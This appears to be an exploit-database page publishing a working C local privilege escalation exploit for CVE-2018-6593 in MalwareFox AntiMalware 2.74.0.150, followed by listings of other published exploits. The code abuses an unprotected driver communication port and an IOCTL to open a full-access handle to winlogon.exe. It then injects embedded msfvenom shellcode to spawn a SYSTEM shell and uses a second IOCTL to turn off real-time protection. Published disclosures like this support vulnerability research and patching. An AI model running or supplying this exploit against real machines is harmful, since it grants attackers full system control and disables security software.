Menu

Search for hundreds of thousands of exploits

"MalwareFox AntiMalware 2.74.0.150 - Local Privilege Escalation"

Author

Exploit author

"Souhail Hammou"

Platform

Exploit platform

windows

Release date

Exploit published date

2018-02-05

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
/*
Title			:	MalwareFox AntiMalware 2.74.0.150 - Local Privilege Escalation
Date			:	02/02/2018
Author			:	Souhail Hammou
Vendor Homepage	:	https://www.malwarefox.com/
Version			:	2.74.0.150
Tested on		:	Windows 7 32-bit / Windows 10 64-bit
CVE				:	CVE-2018-6593
*/
#include <Windows.h>
#include <fltUser.h>
#include <TlHelp32.h>
#include <stdio.h>

#pragma comment(lib,"FltLib.lib")

BOOL RegisterProcessByCommunicationPort()
{
	HRESULT hResult;
	HANDLE hPort;

	/*
	Improper access control :
	The default DACL for the filter communication port is superseded allowing everyone to connect to the port:

	.text:0000000140011987                 lea     rcx, [rbp+SecurityDescriptor]
	.text:000000014001198B                 mov     edx, 1F0001h
	.text:0000000140011990                 call    FltBuildDefaultSecurityDescriptor ;default SD only allows SYSTEM & Admins to connect
	.text:0000000140011995                 test    eax, eax

	[.........]

	.text:00000001400119B1
	.text:00000001400119B1 loc_1400119B1:                          ; CODE XREF: sub_140011890+107j
	.text:00000001400119B1                 mov     rcx, [rbp+SecurityDescriptor] ; SecurityDescriptor
	.text:00000001400119B5                 xor     r9d, r9d        ; DaclDefaulted
	.text:00000001400119B8                 xor     r8d, r8d        ; Dacl
	.text:00000001400119BB                 mov     dl, 1           ; DaclPresent
	.text:00000001400119BD                 call    cs:RtlSetDaclSecurityDescriptor ; <= Vuln: SD's DACL pointer is set to NULL, granting access to everyone

	Once connected to the port, the driver automatically registers the process
	as trusted. This allows the process to issue IOCTL codes that couldn't be sent otherwise.
	e.g. disable real-time protection, write to raw disk, open full access handles to processes ...etc
	*/

	hResult = FilterConnectCommunicationPort(
		L"\\GLOBAL??\\ZAM_MiniFilter_CommPort",
		0,
		NULL,
		0,
		NULL,
		&hPort);

	if (hResult != S_OK)
	{
		return FALSE;
	}
	CloseHandle(hPort);
	return TRUE;
}

DWORD GetWinlogonPID()
{
	DWORD WinlogonPid = 0;
	PROCESSENTRY32 ProcessEntry;
	ProcessEntry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		printf("[-] CreateToolhelp32Snapshot failed !\n");
		goto ret;
	}

	if (!Process32First(hSnapshot, &ProcessEntry))
	{
		printf("[-] Process32First failed !\n");
		goto cleanup;
	}

	do
	{
		if (!lstrcmp(ProcessEntry.szExeFile, "winlogon.exe"))
		{
			WinlogonPid = ProcessEntry.th32ProcessID;
			break;
		}
	} while (Process32Next(hSnapshot, &ProcessEntry));

cleanup:
	CloseHandle(hSnapshot);
ret:
	return WinlogonPid;
}
int main(int argc, char** argv)
{
	DWORD BytesReturned;
	DWORD winlogon_pid;
	HANDLE winlogon_handle;
	LPVOID RemoteAllocation;
	HANDLE hDevice;

	printf("===      MalwareFox Anti-Malware 2.74.0.150 zam64.sys Local Privilege Escalation      ===\n");
	printf("                              Tested on Windows 10 64-bit                                \n");
	printf("                                   Souhail Hammou                                      \n\n");
	printf("[*] Stage 1: Registering the process with the driver by connecting to the minifilter communication port\n");

	hDevice = CreateFile
		("\\\\.\\ZemanaAntiMalware",
			GENERIC_READ | GENERIC_WRITE,
			0,
			NULL,
			OPEN_EXISTING,
			FILE_ATTRIBUTE_NORMAL,
			NULL
			);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		return 0;
	}


	if (!RegisterProcessByCommunicationPort())
	{
		printf("\t[-] Registration Failed !\n");
		return 0;
	}

	printf("\t[+] Process registered.\n[*] Stage 2: \n");

	printf("\t[+] Getting Winlogon's PID\n");
	winlogon_pid = GetWinlogonPID();

	if (!winlogon_pid)
	{
		printf("\t[-] GetWinlogonPID() failed !\n");
		return 0;
	}

	printf("\t[+] (IOCTL) Opening a full access, user-mode accessible handle from kernel-mode to winlogon\n");

	/*
	The dispatcher for IOCTL code 0x8000204C opens a full access handle, accessible from usermode, to a process.
	We use this IOCTL to open a full access handle to winlogon.exe.
	Note that this IOCTL can only be sent if the process is registered with the driver.
	*/
	if (!DeviceIoControl(hDevice, 0x8000204C, &winlogon_pid, sizeof(DWORD), &winlogon_handle, sizeof(HANDLE), &BytesReturned, NULL))
	{
		printf("\t[-] DeviceIoControl 0x8000204C failed !\n");
		return 0;
	}

	printf("\t[+] Allocating executable memory in winlogon.exe using the full access handle\n");

	if (!(RemoteAllocation = VirtualAllocEx(winlogon_handle, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
	{
		printf("\t[-] VirtualAllocEx failed !\n");
		return 0;
	}

	printf("\t[+] Writing shellcode to allocated memory\n");

	/*msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread -f c*/
	unsigned char buf[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
		"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
		"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
		"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
		"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
		"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
		"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
		"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
		"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
		"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
		"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
		"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
		"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
		"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
		"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
		"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
		"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
		"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";

	if (!WriteProcessMemory(winlogon_handle, RemoteAllocation, buf, sizeof(buf), &BytesReturned))
	{
		printf("\t[-] WriteProcessMemory Failed !\n");
		return 0;
	}

	printf("\t[+] Spawning SYSTEM shell\n");
	if (!CreateRemoteThread(winlogon_handle, NULL, 0, RemoteAllocation, NULL, 0, NULL))
	{
		printf("\t[-] CreateRemoteThread Failed! Did you compile the exploit as a 64-bit executable ?\n");
		return 0;
	}

	printf("[*] Bonus:\n\t[+] Disabling real-time protection\n");
	if (!DeviceIoControl(hDevice, 0x80002090, NULL, 0, NULL, 0, &BytesReturned, NULL))
	{
		printf("\t[-] DeviceIoControl 0x80002090 failed !\n");
		return 0;
	}
	printf("\t[+] RT protection disabled.");
	return 0;
}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2018-05-10 "Dell Touchpad - 'ApMsgFwd.exe' Denial of Service" dos windows "Souhail Hammou"
2018-02-22 "Armadito Antivirus 0.12.7.2 - Detection Bypass" local windows "Souhail Hammou"
2018-02-07 "MalwareFox AntiMalware 2.74.0.150 - Privilege Escalation" local windows "Souhail Hammou"
2018-02-05 "MalwareFox AntiMalware 2.74.0.150 - Local Privilege Escalation" local windows "Souhail Hammou"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.